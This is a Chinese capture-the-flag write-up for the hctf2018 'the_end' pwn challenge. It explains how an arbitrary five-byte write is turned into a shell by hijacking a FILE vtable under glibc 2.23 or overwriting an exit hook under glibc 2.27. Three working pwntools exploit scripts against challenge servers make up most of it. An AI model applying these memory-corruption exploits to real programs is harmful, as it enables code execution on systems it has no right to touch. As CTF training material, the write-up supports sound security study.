hctf2018_the_end

检查防护

1

IDA分析

2

我们可以任意位置写 5 字节

利用思路

  • 利用的是在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable_setbuf 函数。
  • 可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable_setbuf 的内容为 one_gadget

调试找出 _IO_2_1_stdout_ 和 libc 的偏移

1
glibc 2.23下 vtables偏移0x3C56F8

3

查看虚表内容

4

在虚表附近寻找一个 fake_vtable,需满足以下条件:

  • fake_vtable_addr + 0x58 = libc_base + off_set_3
  • 其中 0x58 根据下表查出是 set_buf 在虚表的偏移
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

ctf-wiki上给的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)

rem = 0
if rem ==1:
p = remote('150.109.44.250',20002)
p.recvuntil('Input your token:')
p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables = libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):
p.send(p64(vtables+i))
p.send(p64(fake_vtable)[i])


for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

buu上给的环境是2.27的,以上方法行不通,需要打exit_hook

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
io=remote('node4.buuoj.cn',27071)

#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2', './the_end'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
libc = ELF('./libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398] #one_gadget libc-2.27.so -l 2


io.recvuntil('gift ')
libc_base = int(io.recv(14),16)-libc.symbols['sleep']
exit_hook = libc_base+0x619060+3840
print 'libc_base-->'+hex(libc_base)
print 'exit_hook-->'+hex(exit_hook)
shell = libc_base+one[2]
for i in range(len(one)):
print('i-->'+hex(libc_base+one[i]))

for i in range(5):
io.send(p64(exit_hook+i))
sleep(0.1)
io.send(p64(shell)[i])
sleep(0.1)
sleep(0.1)
io.sendline('exec 1>&0')
io.interactive()

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
io=remote('node4.buuoj.cn',27071)

#p = process('./metasequoia_2020_samsara')
#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2', './the_end'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
libc = ELF('./libc-2.27.so')
ld = ELF('/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]


io.recvuntil('gift ')
libc_base = int(io.recv(14),16)-libc.symbols['sleep']

ld.address = libc_base + 0x3F1000


exit_hook = libc_base+0x619060+3840
global_attack = ld.sym["_rtld_global"] + 0xF00 + 8
print 'libc_base-->'+hex(libc_base)
print 'exit_hook-->'+hex(exit_hook)
shell = p64(libc_base+one[1])


for i in range(5):

io.send(p64(global_attack+i))
sleep(0.1)
io.send(shell[i:i+1])
sleep(0.1)
##sleep(0.1)
io.sendline('exec 1>&0')
io.interactive()